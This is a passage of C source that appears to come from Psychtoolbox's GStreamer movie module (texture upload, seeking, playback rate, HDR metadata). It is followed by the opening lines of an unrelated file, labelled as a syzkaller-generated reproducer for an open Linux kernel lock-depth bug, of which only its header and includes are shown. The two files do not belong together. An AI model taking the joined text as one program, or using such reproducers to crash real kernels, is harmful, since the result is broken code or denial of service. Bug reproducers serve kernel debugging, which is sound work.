out_texture->textureByteAligned = 1;
// Create planar "I420 inside L8" texture:
PsychCreateTexture(out_texture);
// Restore rect and clientrect of texture to effective size of video frame:
PsychMakeRect(out_texture->rect, 0, 0, movieRecordBANK[moviehandle].width, movieRecordBANK[moviehandle].height);
PsychCopyRect(out_texture->clientrect, out_texture->rect);
// Mark texture as planar encoded, so proper conversion shader gets applied during
// call to PsychNormalizeTextureOrientation(), prior to any render-to-texture operation, e.g.,
// if used as an offscreen window, or as a participant of a Screen('TransformTexture') call:
out_texture->specialflags |= kPsychPlanarTexture;
// Assign special filter shader for sampling and color-space conversion of the
// planar texture during drawing or PsychNormalizeTextureOrientation():
if (!PsychAssignPlanarI420TextureShader(out_texture, win)) PsychErrorExitMsg(PsychError_user, "Assignment of I420 video decoding shader failed during movie texture creation!");
// Number of effective channels is 3 for RGB8:
out_texture->nrchannels = 3;
// And 24 bpp depth:
out_texture->depth = 24;
}
// HDR/WCG YUV planar pixel upload requested?
if (movieRecordBANK[moviehandle].pixelFormat == 11) {
float overSize;
int bpc = GST_VIDEO_FORMAT_INFO_DEPTH(movieRecordBANK[moviehandle].sinkVideoInfo.finfo, 0);
// We encode planar data inside a single-layer luminance texture of
// 1.5x times the height of the video frame. First the "Y" luminance plane
// is stored at full 1 sample per pixel resolution. Then a 0.25x height slice
// with "U" Cr chrominance data at half the horizontal and vertical resolution
// aka 1 sample per 2x2 pixel quad. Then a 0.25x height slice with "V" Cb
// chrominance data at 1 sample per 2x2 pixel quad resolution. As such, the texture
// appears to OpenGL as a normal LUMINANCE texture. Conversion of the planar format
// into useable RGBA pixel fragments will happen during rendering via a suitable fragment
// shader. The net gain of this is that we effectively only need 1.5 Bytes per pixel instead
// of 3 Bytes for RGB8 or 4 Bytes for RGBA8:
out_texture->textureexternalformat = GL_LUMINANCE;
// Discriminate between 8 bpc content and > 8 bpc content:
if (bpc > 8) {
// More than 8 bpc, e.g., typically 10 bpc or 12 bpc, but up to 16 bpc. Use a 16 bpc
// unorm range texture:
out_texture->textureexternaltype = GL_UNSIGNED_SHORT;
out_texture->textureinternalformat = GL_LUMINANCE16;
// Word alignment. At least 2 bytes:
out_texture->textureByteAligned = 2;
// Effective color depth is 48 bits:
out_texture->depth = 48;
}
else {
// Standard 8 bpc content:
out_texture->textureexternaltype = GL_UNSIGNED_BYTE;
out_texture->textureinternalformat = GL_LUMINANCE8;
// Byte alignment. Assume no alignment for now:
out_texture->textureByteAligned = 1;
// Effective color depth is 24 bits:
out_texture->depth = 24;
// Assign an effective depth of 48 bit (ie. 16 bpc RGB) if the target window is a HDR
// window, because then even 8 bpc low dynamic range content must get mapped into the
// HDR range for proper display inside the HDR window, ie. the original unorm 0 - 1 range
// values must be mapped to 0 - maxSDRToHDRScaleFactor, e.g., up to 80.0 nits. This is not
// a problem for direct decode+draw by the planar decode shader during 'DrawTexture', but
// in case that immediate conversion into a regular packed pixel color renderable texture
// is required via PsychNormalizeTextureOrientation(), or when converting the texture into
// an offscreen window for drawing into it, or for Screen('TransformTexture') or similar.
// In those cases the LUMINANCE backing texture must get replaced with a backing texture
// that is not only colorbuffer renderable, but also capable to contain color values outside
// the 0-1 unorm range, iow. we need a floating point texture as backing store. We achieve
// this by marking the texture as a high bpc precision texture, so the conversion code in
// PsychNormalizeTextureOrientation() will pick a RGBA32F texture as new container, which
// can store outside unorm range content with more than 16 bpc linear precision:
if (win->imagingMode & kPsychNeedHDRWindow)
out_texture->depth = 48;
}
// Define a rect of overSize times the video frame height, so PsychCreateTexture() will source
// the whole input data buffer:
switch (GST_VIDEO_FORMAT_INFO_FORMAT(movieRecordBANK[moviehandle].sinkVideoInfo.finfo)) {
case GST_VIDEO_FORMAT_I420:
case GST_VIDEO_FORMAT_I420_10LE:
case GST_VIDEO_FORMAT_I420_12LE:
// 420: Luma at full resolution, chroma half horizontal and half vertical -> 1/4 per plane
// times 2 chroma planes = 1/2 frame height for chroma planes, for a total of 1.5x
overSize = 1.5;
break;
case GST_VIDEO_FORMAT_I422_10LE:
case GST_VIDEO_FORMAT_I422_12LE:
// 422: Luma at full resolution, chroma half horizontal resolution -> 1/2 per plane
// times 2 chroma planes = 1 extra frame height for chroma planes, for a total of 2.0x
overSize = 2.0;
break;
case GST_VIDEO_FORMAT_Y444:
case GST_VIDEO_FORMAT_Y444_10LE:
case GST_VIDEO_FORMAT_Y444_12LE:
case GST_VIDEO_FORMAT_Y444_16LE:
// 444: All planes at full resolution, so 3x the height:
overSize = 3.0;
break;
default:
overSize = 1.0; // Shut up false unused variable compiler warning.
PsychErrorExitMsg(PsychError_user, "Failed videoframe conversion into texture! Unrecognized sink format for pixelFormat 11 code.\n");
}
PsychMakeRect(out_texture->rect, 0, 0, movieRecordBANK[moviehandle].width, movieRecordBANK[moviehandle].height * overSize);
// Check if overSize x height texture fits within hardware limits of this GPU:
if (movieRecordBANK[moviehandle].height * overSize > win->maxTextureSize)
PsychErrorExitMsg(PsychError_user, "Videoframe size too big for this graphics card with pixelFormat 11! Can not handle content of this resolution on this graphics card!");
// Create "planar content inside single-plane luminance" texture:
PsychCreateTexture(out_texture);
// Restore rect and clientrect of texture to effective size of video frame:
PsychMakeRect(out_texture->rect, 0, 0, movieRecordBANK[moviehandle].width, movieRecordBANK[moviehandle].height);
PsychCopyRect(out_texture->clientrect, out_texture->rect);
// Number of effective color channels is 3 for RGB true color content:
out_texture->nrchannels = 3;
// Mark texture as planar encoded, so proper conversion shader gets applied during
// call to PsychNormalizeTextureOrientation(), prior to any render-to-texture operation, e.g.,
// if used as an offscreen window, or as a participant of a Screen('TransformTexture') call:
out_texture->specialflags |= kPsychPlanarTexture;
// Assign special filter shader for sampling and color-space conversion of the
// planar texture during drawing or PsychNormalizeTextureOrientation():
if (!PsychAssignMovieTextureConversionShader(&movieRecordBANK[moviehandle], out_texture))
PsychErrorExitMsg(PsychError_user, "Assignment of planar YUV video decoding shader failed during movie texture creation!");
}
else if (movieRecordBANK[moviehandle].bitdepth > 8) {
// Is this a > 8 bpc image format? If not, we ain't nothing more to prepare.
// If yes, we need to use a high precision floating point texture to represent
// the > 8 bpc image payload without loss of image information:
// highbitthreshold: If the net bpc value is greater than this, then use 32bpc floats
// instead of 16 bpc half-floats, because 16 bpc would not be sufficient to represent
// more than highbitthreshold bits faithfully:
const int highbitthreshold = 11;
unsigned int w = movieRecordBANK[moviehandle].width;
unsigned int h = movieRecordBANK[moviehandle].height;
unsigned int i, count;
// 9 - 16 bpc color/luminance resolution:
out_texture->depth = out_texture->nrchannels * ((movieRecordBANK[moviehandle].bitdepth > highbitthreshold) ? 32 : 16);
// Byte alignment: Assume at least 2 Byte alignment due to 16 bit per component aka 2 Byte input:
out_texture->textureByteAligned = 2;
if (out_texture->nrchannels == 1) {
// 1 layer Luminance:
out_texture->textureinternalformat = (movieRecordBANK[moviehandle].bitdepth > highbitthreshold) ? GL_LUMINANCE_FLOAT32_APPLE : GL_LUMINANCE_FLOAT16_APPLE;
out_texture->textureexternalformat = GL_LUMINANCE;
// Override for missing floating point texture support: Try to use 16 bit fixed point signed normalized textures [-1.0 ; 1.0] resolved at 15 bits:
if (!(win->gfxcaps & kPsychGfxCapFPTex16)) out_texture->textureinternalformat = GL_LUMINANCE16_SNORM;
out_texture->textureByteAligned = (w % 2) ? 2 : ((w % 4) ? 4 : 8);
}
else if (out_texture->nrchannels == 3) {
// 3 layer RGB:
out_texture->textureinternalformat = (movieRecordBANK[moviehandle].bitdepth > highbitthreshold) ? GL_RGB_FLOAT32_APPLE : GL_RGB_FLOAT16_APPLE;
out_texture->textureexternalformat = GL_RGB;
// Override for missing floating point texture support: Try to use 16 bit fixed point signed normalized textures [-1.0 ; 1.0] resolved at 15 bits:
if (!(win->gfxcaps & kPsychGfxCapFPTex16)) out_texture->textureinternalformat = GL_RGB16_SNORM;
out_texture->textureByteAligned = (w % 2) ? 2 : ((w % 4) ? 4 : 8);
}
else {
// 4 layer RGBA:
psych_uint64 *p;
union {
psych_uint64 raw;
psych_uint16 bits[4];
} vin, vout;
out_texture->textureinternalformat = (movieRecordBANK[moviehandle].bitdepth > highbitthreshold) ? GL_RGBA_FLOAT32_APPLE : GL_RGBA_FLOAT16_APPLE;
out_texture->textureexternalformat = GL_RGBA;
// Override for missing floating point texture support: Try to use 16 bit fixed point signed normalized textures [-1.0 ; 1.0] resolved at 15 bits:
if (!(win->gfxcaps & kPsychGfxCapFPTex16)) out_texture->textureinternalformat = GL_RGBA16_SNORM;
// Always 8 Byte aligned:
out_texture->textureByteAligned = 8;
// GStreamer delivers 16 bpc 4 channel data in ARGB 64 bpp layout, but
// OpenGL needs RGBA 64 bpp layout, so we need to manually swizzle
// the components:
count = w * h;
if (movieRecordBANK[moviehandle].imageBuffer == NULL)
movieRecordBANK[moviehandle].imageBuffer = malloc(count * sizeof(psych_uint64));
p = (void*) movieRecordBANK[moviehandle].imageBuffer;
memcpy(p, out_texture->textureMemory, count * sizeof(psych_uint64));
out_texture->textureMemory = (void*) p;
for (i = 0; i < count; i++) {
vin.raw = *p;
// ARGB -> RGBA
vout.bits[0] = vin.bits[1];
vout.bits[1] = vin.bits[2];
vout.bits[2] = vin.bits[3];
vout.bits[3] = vin.bits[0];
*p = vout.raw;
p++;
}
}
// External datatype is 16 bit unsigned integer, each color component encoded in a 16 bit value:
out_texture->textureexternaltype = GL_UNSIGNED_SHORT;
// Scale input data, so highest significant bit of payload is in bit 16:
glPixelTransferi(GL_RED_SCALE, 1 << (16 - movieRecordBANK[moviehandle].bitdepth));
glPixelTransferi(GL_GREEN_SCALE, 1 << (16 - movieRecordBANK[moviehandle].bitdepth));
glPixelTransferi(GL_BLUE_SCALE, 1 << (16 - movieRecordBANK[moviehandle].bitdepth));
// Let PsychCreateTexture() do the rest of the job of creating, setting up and
// filling an OpenGL texture with content:
PsychCreateTexture(out_texture);
// Undo scaling:
glPixelTransferi(GL_RED_SCALE, 1);
glPixelTransferi(GL_GREEN_SCALE, 1);
glPixelTransferi(GL_BLUE_SCALE, 1);
}
else {
// Let PsychCreateTexture() do the rest of the job of creating, setting up and
// filling an OpenGL texture with content:
PsychCreateTexture(out_texture);
}
// Release buffer for target RGB debayered image, if any:
if ((movieRecordBANK[moviehandle].specialFlags1 & 1024) && releaseMemPtr) free(releaseMemPtr);
// NULL-out the texture memory pointer after PsychCreateTexture(). This is not strictly
// needed, as PsychCreateTexture() did it already, but we add it here as an annotation
// to make it obvious during code correctness review that we won't touch or free() the
// video memory buffer anymore, which is owned and only memory-managed by GStreamer:
out_texture->textureMemory = NULL;
// After PsychCreateTexture() the cached texture object from our cache is used
// and no longer available for recycling. We mark the cache as empty:
// It will be filled with a new textureid for recycling if a texture gets
// deleted in PsychMovieDeleteTexture()....
movieRecordBANK[moviehandle].cached_texture = 0;
// Does usercode want immediate conversion of texture into standard RGBA8 packed pixel
// upright format for use as a render-target? If so, do it:
if (movieRecordBANK[moviehandle].specialFlags1 & 16) {
// Transform out_texture video texture into a normalized, upright texture if it isn't already in
// that format. We require this standard orientation for simplified shader design.
PsychSetShader(win, 0);
PsychNormalizeTextureOrientation(out_texture);
}
PsychGetAdjustedPrecisionTimerSeconds(&tNow);
if (PsychPrefStateGet_Verbosity() > 4) printf("PTB-DEBUG: Decode completion to texture created: %f msecs.\n", (tNow - tStart) * 1000.0);
tStart = tNow;
// End of texture creation code.
}
// Detection of dropped frames: This is a heuristic. We'll see how well it works out...
// TODO: GstBuffer videoBuffer provides special flags that should allow to do a more
// robust job, although nothing's wrong with the current approach per se...
if (rate && presentation_timestamp) {
// Try to check for dropped frames in playback mode:
// Expected delta between successive presentation timestamps:
// This is not dependent on playback rate, as it measures time in the
// GStreamer movies timeline == Assuming 1x playback rate.
targetdelta = 1.0f / movieRecordBANK[moviehandle].fps;
// Compute real delta, given rate and playback direction:
if (rate > 0) {
realdelta = *presentation_timestamp - movieRecordBANK[moviehandle].last_pts;
if (realdelta < 0) realdelta = 0;
}
else {
realdelta = -1.0 * (*presentation_timestamp - movieRecordBANK[moviehandle].last_pts);
if (realdelta < 0) realdelta = 0;
}
frames = realdelta / targetdelta;
// Dropped frames?
if (frames > 1 && movieRecordBANK[moviehandle].last_pts >= 0) {
movieRecordBANK[moviehandle].nr_droppedframes += (int) (frames - 1 + 0.5);
}
movieRecordBANK[moviehandle].last_pts = *presentation_timestamp;
}
// Unlock.
gst_buffer_unmap(videoBuffer, &mapinfo);
gst_sample_unref(videoSample);
videoBuffer = NULL;
// Manually advance movie time, if in fetch mode:
if (0 == rate) {
// We are in manual fetch mode: Need to manually advance movie to next
// media sample:
movieRecordBANK[moviehandle].endOfFetch = 0;
preT = PsychGSGetMovieTimeIndex(moviehandle);
event = gst_event_new_step(GST_FORMAT_BUFFERS, 1, 1.0, TRUE, FALSE);
// Send the seek event *only* to the videosink. This follows recommendations from GStreamer SDK tutorial 13 (Playback speed) to
// not send to high level playbin itself, as that would propagate to all sinks and trigger multiple seeks. While this was not
// ever a problem in the past on Linux or with upstream GStreamer, it caused deadlocks, timeouts and seek failures when done
// with the GStreamer SDK on some movie files that have audio tracks, e.g., our standard demo movie! Sending only to videosink
// fixes this problem:
if (!gst_element_send_event(movieRecordBANK[moviehandle].videosink, event)) printf("PTB-DEBUG: In single-step seek I - Failed.\n");
// Block until seek completed, failed, or timeout of 10 seconds reached:
if (GST_STATE_CHANGE_SUCCESS != gst_element_get_state(theMovie, NULL, NULL, (GstClockTime) (10 * 1e9))) printf("PTB-DEBUG: In single-step seek II - Failed.\n");
postT = PsychGSGetMovieTimeIndex(moviehandle);
if (PsychPrefStateGet_Verbosity() > 6) printf("PTB-DEBUG: Movie fetch advance: preT %f postT %f DELTA %lf %s\n", preT, postT, postT - preT, (postT - preT < 0.001) ? "SAME" : "DIFF");
// Signal end-of-fetch if time no longer progresses signficiantly:
if (postT - preT < 0.001) movieRecordBANK[moviehandle].endOfFetch = 1;
}
PsychGetAdjustedPrecisionTimerSeconds(&tNow);
if (PsychPrefStateGet_Verbosity() > 4) printf("PTB-DEBUG: Texture created to fetch completion: %f msecs.\n", (tNow - tStart) * 1000.0);
// Reset tStart for next fetch cycle:
tStart = 0;
return(TRUE);
}
/*
* PsychGSFreeMovieTexture() - Release texture memory for a texture.
*
* This routine is called by PsychDeleteTexture() in PsychTextureSupport.c
* It performs the special cleanup necessary for cached movie textures.
*/
void PsychGSFreeMovieTexture(PsychWindowRecordType *win)
{
// Is this a GStreamer movietexture? If not, just skip this routine.
if (win->windowType!=kPsychTexture || win->textureOrientation != 3 || win->texturecache_slot < 0) return;
// Movie texture: Check if we can move it into our recycler cache
// for later reuse...
if (movieRecordBANK[win->texturecache_slot].cached_texture == 0) {
// Cache free. Put this texture object into it for later reuse:
movieRecordBANK[win->texturecache_slot].cached_texture = win->textureNumber;
// 0-out the textureNumber so our standard cleanup routine (glDeleteTextures) gets
// skipped - if we wouldn't do this, our caching scheme would screw up.
win->textureNumber = 0;
}
else {
// Cache already occupied. We don't do anything but leave the cleanup work for
// this texture to the standard PsychDeleteTexture() routine...
}
return;
}
/*
* PsychGSPlaybackRate() - Start- and stop movieplayback, set playback parameters.
*
* moviehandle = Movie to start-/stop.
* playbackrate = zero == Stop playback, non-zero == Play movie with spec. rate,
* e.g., 1 = forward, 2 = double speed forward, -1 = backward, ...
* loop = 0 = Play once. 1 = Loop, aka rewind at end of movie and restart.
* soundvolume = 0 == Mute sound playback, between 0.0 and 1.0 == Set volume to 0 - 100 %.
* Returns Number of dropped frames to keep playback in sync.
*/
int PsychGSPlaybackRate(int moviehandle, double playbackrate, int loop, double soundvolume)
{
GstElement *audiosink, *actual_audiosink;
gchar* pstring;
int dropped = 0;
GstElement *theMovie = NULL;
double timeindex;
GstSeekFlags seekFlags = 0;
if (moviehandle < 0 || moviehandle >= PSYCH_MAX_MOVIES) {
PsychErrorExitMsg(PsychError_user, "Invalid moviehandle provided!");
}
// Fetch references to objects we need:
theMovie = movieRecordBANK[moviehandle].theMovie;
if (theMovie == NULL) {
PsychErrorExitMsg(PsychError_user, "Invalid moviehandle provided. No movie associated with this handle !!!");
}
// Try to set movie playback rate to value identical to current value?
if (playbackrate == movieRecordBANK[moviehandle].rate) {
// Yes: This would be a no-op, except we allow to change the sound output volume
// dynamically and on-the-fly with low overhead this way:
// Set volume and mute state for audio:
g_object_set(G_OBJECT(theMovie), "mute", (soundvolume <= 0) ? TRUE : FALSE, NULL);
g_object_set(G_OBJECT(theMovie), "volume", soundvolume, NULL);
// Done. Return success status code:
return(0);
}
if (playbackrate != 0) {
// Start playback of movie:
// Set volume and mute state for audio:
g_object_set(G_OBJECT(theMovie), "mute", (soundvolume <= 0) ? TRUE : FALSE, NULL);
g_object_set(G_OBJECT(theMovie), "volume", soundvolume, NULL);
// Set playback rate: An explicit seek to the position we are already (supposed to be)
// is needed to avoid jumps in movies with bad encoding or keyframe placement:
timeindex = PsychGSGetMovieTimeIndex(moviehandle);
// Which loop setting?
if (loop <= 0) {
// Looped playback disabled. Set to well defined off value zero:
loop = 0;
}
else {
// Looped playback requested. With default settings (==1)?
// Otherwise we'll just pass on any special != 1 setting as a
// user-override:
if (loop == 1) {
// Playback with defaults. Apply default setup + specialFlags1 quirks:
// specialFlags & 32? Use 'uri' injection method for looped playback, instead of seek method:
if (movieRecordBANK[moviehandle].specialFlags1 & 32) loop = 2;
// specialFlags & 64? Use segment seeks.
if (movieRecordBANK[moviehandle].specialFlags1 & 64) loop |= 4;
// specialFlags & 128? Use pipeline flushing seeks
if (movieRecordBANK[moviehandle].specialFlags1 & 128) loop |= 8;
}
}
// On some movies and configurations, we need a segment seek as indicated by flag 0x4:
if (loop & 0x4) seekFlags |= GST_SEEK_FLAG_SEGMENT;
if (playbackrate > 0) {
gst_element_seek(theMovie, playbackrate, GST_FORMAT_TIME, GST_SEEK_FLAG_FLUSH | GST_SEEK_FLAG_ACCURATE | ((loop & 0x1) ? seekFlags : 0), GST_SEEK_TYPE_SET,
(gint64) (timeindex * (double) 1e9), GST_SEEK_TYPE_NONE, GST_CLOCK_TIME_NONE);
}
else {
gst_element_seek(theMovie, playbackrate, GST_FORMAT_TIME, GST_SEEK_FLAG_FLUSH | GST_SEEK_FLAG_ACCURATE | ((loop & 0x1) ? seekFlags : 0), GST_SEEK_TYPE_SET,
0, GST_SEEK_TYPE_SET, (gint64) (timeindex * (double) 1e9));
}
movieRecordBANK[moviehandle].loopflag = loop;
movieRecordBANK[moviehandle].last_pts = -1.0;
movieRecordBANK[moviehandle].nr_droppedframes = 0;
movieRecordBANK[moviehandle].rate = playbackrate;
movieRecordBANK[moviehandle].frameAvail = 0;
movieRecordBANK[moviehandle].preRollAvail = 0;
// Is this a movie with actual videotracks and frame-dropping on videosink full enabled?
if ((movieRecordBANK[moviehandle].nrVideoTracks > 0) && gst_app_sink_get_drop(GST_APP_SINK(movieRecordBANK[moviehandle].videosink))) {
// Yes: We only schedule deferred start of playback at first Screen('GetMovieImage')
// frame fetch. This to avoid dropped frames due to random delays between
// call to Screen('PlayMovie') and Screen('GetMovieImage'):
movieRecordBANK[moviehandle].startPending = 1;
}
else {
// Only soundtrack or framedropping disabled with videotracks - Start it immediately:
movieRecordBANK[moviehandle].startPending = 0;
PsychMoviePipelineSetState(theMovie, GST_STATE_PLAYING, 10.0);
PsychGSProcessMovieContext(&(movieRecordBANK[moviehandle]), FALSE);
}
}
else {
// Stop playback of movie:
movieRecordBANK[moviehandle].rate = 0;
movieRecordBANK[moviehandle].startPending = 0;
movieRecordBANK[moviehandle].loopflag = 0;
movieRecordBANK[moviehandle].endOfFetch = 0;
// Print name of audio sink - the output device which was actually playing the sound, if requested:
// This is a Linux only feature, as GStreamer for MS-Windows doesn't support such queries at all,
// and GStreamer for OSX doesn't expose the information in a way that would be in any way meaningful for us.
if ((PSYCH_SYSTEM == PSYCH_LINUX) && (PsychPrefStateGet_Verbosity() > 3)) {
audiosink = NULL;
if (g_object_class_find_property(G_OBJECT_GET_CLASS(theMovie), "audio-sink")) {
g_object_get(G_OBJECT(theMovie), "audio-sink", &audiosink, NULL);
}
if (audiosink) {
actual_audiosink = NULL;
actual_audiosink = (GST_IS_CHILD_PROXY(audiosink)) ? ((GstElement*) gst_child_proxy_get_child_by_index(GST_CHILD_PROXY(audiosink), 0)) : audiosink;
if (actual_audiosink) {
if (g_object_class_find_property(G_OBJECT_GET_CLASS(actual_audiosink), "device")) {
pstring = NULL;
g_object_get(G_OBJECT(actual_audiosink), "device", &pstring, NULL);
if (pstring) {
printf("PTB-INFO: Audio output device name for movie playback was '%s'", pstring);
g_free(pstring); pstring = NULL;
}
}
if (g_object_class_find_property(G_OBJECT_GET_CLASS(actual_audiosink), "device-name")) {
pstring = NULL;
g_object_get(G_OBJECT(actual_audiosink), "device-name", &pstring, NULL);
if (pstring) {
printf(" [%s].", pstring);
g_free(pstring); pstring = NULL;
}
}
printf("\n");
if (actual_audiosink != audiosink) gst_object_unref(actual_audiosink);
}
gst_object_unref(audiosink);
}
}
PsychMoviePipelineSetState(theMovie, GST_STATE_PAUSED, 10.0);
PsychGSProcessMovieContext(&(movieRecordBANK[moviehandle]), FALSE);
// Output count of dropped frames:
if ((dropped=movieRecordBANK[moviehandle].nr_droppedframes) > 0) {
if (PsychPrefStateGet_Verbosity()>2) {
printf("PTB-INFO: Movie playback had to drop %i frames of movie %i to keep playback in sync.\n", movieRecordBANK[moviehandle].nr_droppedframes, moviehandle);
}
}
}
return(dropped);
}
/*
* void PsychGSExitMovies() - Shutdown handler.
*
* This routine is called by Screen('CloseAll') and on clear Screen time to
* do final cleanup. It releases all movie objects.
*
*/
void PsychGSExitMovies(void)
{
// Release all movies:
PsychGSDeleteAllMovies();
firsttime = TRUE;
return;
}
/*
* PsychGSGetMovieTimeIndex() -- Return current playback time of movie.
*/
double PsychGSGetMovieTimeIndex(int moviehandle)
{
GstElement *theMovie = NULL;
gint64 pos_nsecs;
if (moviehandle < 0 || moviehandle >= PSYCH_MAX_MOVIES) {
PsychErrorExitMsg(PsychError_user, "Invalid moviehandle provided!");
}
// Fetch references to objects we need:
theMovie = movieRecordBANK[moviehandle].theMovie;
if (theMovie == NULL) {
PsychErrorExitMsg(PsychError_user, "Invalid moviehandle provided. No movie associated with this handle !!!");
}
if (!gst_element_query_position(theMovie, GST_FORMAT_TIME, &pos_nsecs)) {
if (PsychPrefStateGet_Verbosity() > 1) printf("PTB-WARNING: Could not query position in movie %i in seconds. Returning zero.\n", moviehandle);
pos_nsecs = 0;
}
// Retrieve timeindex:
return((double) pos_nsecs / (double) 1e9);
}
/*
* PsychGSSetMovieTimeIndex() -- Set current playback time of movie, perform active seek if needed.
*/
double PsychGSSetMovieTimeIndex(int moviehandle, double timeindex, psych_bool indexIsFrames)
{
GstElement *theMovie;
double oldtime;
gint64 targetIndex;
GstSeekFlags flags;
if (moviehandle < 0 || moviehandle >= PSYCH_MAX_MOVIES) {
PsychErrorExitMsg(PsychError_user, "Invalid moviehandle provided!");
}
// Fetch references to objects we need:
theMovie = movieRecordBANK[moviehandle].theMovie;
if (theMovie == NULL) {
PsychErrorExitMsg(PsychError_user, "Invalid moviehandle provided. No movie associated with this handle !!!");
}
// Retrieve current timeindex:
oldtime = PsychGSGetMovieTimeIndex(moviehandle);
// NOTE: We could use GST_SEEK_FLAG_SKIP to allow framedropping on fast forward/reverse playback...
flags = GST_SEEK_FLAG_FLUSH | GST_SEEK_FLAG_ACCURATE;
// Need segment seek flag for seek during active looped playback if also flag 0x4 is set:
if ((movieRecordBANK[moviehandle].rate != 0) && (movieRecordBANK[moviehandle].loopflag & 0x1) && (movieRecordBANK[moviehandle].loopflag & 0x4)) {
flags |= GST_SEEK_FLAG_SEGMENT;
}
// Index based or target time based seeking?
if (indexIsFrames) {
// Index based seeking:
targetIndex = (gint64) (timeindex + 0.5);
// Simple seek, videobuffer (index) oriented, with pipeline flush and accurate seek,
// i.e., not locked to keyframes, but frame-accurate:
if (!gst_element_seek_simple(theMovie, GST_FORMAT_DEFAULT, flags, targetIndex)) {
// Failed: This can happen on various movie formats as not all codecs and formats support frame-based seeks.
// Fallback to time-based seek by faking a target time for given targetIndex:
timeindex = (double) targetIndex / (double) movieRecordBANK[moviehandle].fps;
if (PsychPrefStateGet_Verbosity() > 1) {
printf("PTB-WARNING: Could not seek to frame index %i via frame-based seeking in movie %i.\n", (int) targetIndex, moviehandle);
printf("PTB-WARNING: Will do a time-based seek to approximately equivalent time %f seconds instead.\n", timeindex);
printf("PTB-WARNING: Not all movie formats support frame-based seeking. Please change your movie format for better precision.\n");
}
if (!gst_element_seek_simple(theMovie, GST_FORMAT_TIME, flags, (gint64) (timeindex * (double) 1e9)) &&
(PsychPrefStateGet_Verbosity() > 1)) {
printf("PTB-WARNING: Time-based seek failed as well! Something is wrong with this movie!\n");
}
}
}
else {
// Time based seeking:
// Set new timeindex as time in seconds:
// Simple seek, time-oriented, with pipeline flush and accurate seek,
// i.e., not locked to keyframes, but frame-accurate:
if (!gst_element_seek_simple(theMovie, GST_FORMAT_TIME, flags, (gint64) (timeindex * (double) 1e9)) &&
(PsychPrefStateGet_Verbosity() > 1)) {
printf("PTB-WARNING: Time-based seek to %f seconds in movie %i failed. Something is wrong with this movie or the target time.\n", timeindex, moviehandle);
}
}
// Block until seek completed, failed or timeout of 30 seconds reached:
if (GST_STATE_CHANGE_FAILURE == gst_element_get_state(theMovie, NULL, NULL, (GstClockTime) (30 * 1e9)) && (PsychPrefStateGet_Verbosity() > 1)) {
printf("PTB-WARNING: SetTimeIndex on movie %i failed. Something is wrong with this movie or the target position. [Statechange-Failure in seek]\n", moviehandle);
printf("PTB-WARNING: Requested target position was %f %s. This could happen if the movie is not efficiently seekable and a timeout was hit.\n",
timeindex, (indexIsFrames) ? "frames" : "seconds");
}
if (PsychPrefStateGet_Verbosity() > 4) printf("PTB-INFO: Seeked to position %f secs in movie %i.\n", PsychGSGetMovieTimeIndex(moviehandle), moviehandle);
// Reset fetch flag:
movieRecordBANK[moviehandle].endOfFetch = 0;
// Return old time value of previous position:
return(oldtime);
}
/*
* PsychCopyOutMovieHDRMetaData() -- Return a struct with HDR static metadata about this movie to scripting environment.
*/
void PsychGSCopyOutMovieHDRMetaData(int moviehandle, int argPosition)
{
PsychGenericScriptType *s;
PsychGenericScriptType *outMat;
double *v;
const char *fieldNames[] = { "Valid", "MetadataType", "MinLuminance", "MaxLuminance", "MaxFrameAverageLightLevel", "MaxContentLightLevel", "ColorGamut",
"Colorimetry", "LimitedRange", "YUVRGBMatrixType", "PrimariesType", "EOTFType", "Format", "Depth" };
const int fieldCount = 14;
// Userscript wants this info?
if (PsychIsArgPresent(PsychArgOut, argPosition)) {
PsychMovieHDRMetaData *hdrMetaData = &movieRecordBANK[moviehandle].hdrMetaData;
// Create a structure and populate it with the movies parsed HDR metadata:
PsychAllocOutStructArray(argPosition, kPsychArgOptional, -1, fieldCount, fieldNames, &s);
// Set validity status:
PsychSetStructArrayDoubleElement("Valid", 0, (double) hdrMetaData->valid, s);
// Type of metadata:
PsychSetStructArrayDoubleElement("MetadataType", 0, (double) hdrMetaData->type, s);
// Mastering display min and max luminance:
PsychSetStructArrayDoubleElement("MinLuminance", 0, hdrMetaData->minLuminance, s);
PsychSetStructArrayDoubleElement("MaxLuminance", 0, hdrMetaData->maxLuminance, s);
// Scene content average and maximum content light level:
PsychSetStructArrayDoubleElement("MaxFrameAverageLightLevel", 0, hdrMetaData->maxFrameAverageLightLevel, s);
PsychSetStructArrayDoubleElement("MaxContentLightLevel", 0, hdrMetaData->maxContentLightLevel, s);
// Create color gamut and white point matrix defining the mastering display color gamut / color space:
PsychAllocateNativeDoubleMat(2, 4, 1, &v, &outMat);
*(v++) = hdrMetaData->displayPrimaryRed[0];
*(v++) = hdrMetaData->displayPrimaryRed[1];
*(v++) = hdrMetaData->displayPrimaryGreen[0];
*(v++) = hdrMetaData->displayPrimaryGreen[1];
*(v++) = hdrMetaData->displayPrimaryBlue[0];
*(v++) = hdrMetaData->displayPrimaryBlue[1];
*(v++) = hdrMetaData->whitePoint[0];
*(v++) = hdrMetaData->whitePoint[1];
PsychSetStructArrayNativeElement("ColorGamut", 0, outMat, s);
// Some not strictly HDR properties, more like general movie properties:
PsychSetStructArrayStringElement("Colorimetry", 0, (char *) gst_video_colorimetry_to_string (&movieRecordBANK[moviehandle].codecVideoInfo.colorimetry), s);
PsychSetStructArrayDoubleElement("LimitedRange", 0, movieRecordBANK[moviehandle].codecVideoInfo.colorimetry.range, s);
PsychSetStructArrayDoubleElement("YUVRGBMatrixType", 0, movieRecordBANK[moviehandle].codecVideoInfo.colorimetry.matrix, s);
PsychSetStructArrayDoubleElement("PrimariesType", 0, movieRecordBANK[moviehandle].codecVideoInfo.colorimetry.primaries, s);
PsychSetStructArrayDoubleElement("EOTFType", 0, movieRecordBANK[moviehandle].codecVideoInfo.colorimetry.transfer, s);
if (hdrMetaData->valid) {
PsychSetStructArrayStringElement("Format", 0, (char *) movieRecordBANK[moviehandle].codecVideoInfo.finfo->name, s);
PsychSetStructArrayDoubleElement("Depth", 0, GST_VIDEO_FORMAT_INFO_DEPTH(movieRecordBANK[moviehandle].codecVideoInfo.finfo, 0), s);
}
}
}
// #if GST_CHECK_VERSION(1,0,0)
#endif
// #ifdef PTB_USE_GSTREAMER
#endif
|
the_stack_data/672681.c | // BUG: MAX_LOCK_DEPTH too low! (2)
// https://syzkaller.appspot.com/bug?id=e4feb2f88affd6242e3153d5c14ebb8569b499b8
// status:open
// autogenerated by syzkaller (http://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <endian.h>
#include <errno.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/if.h>
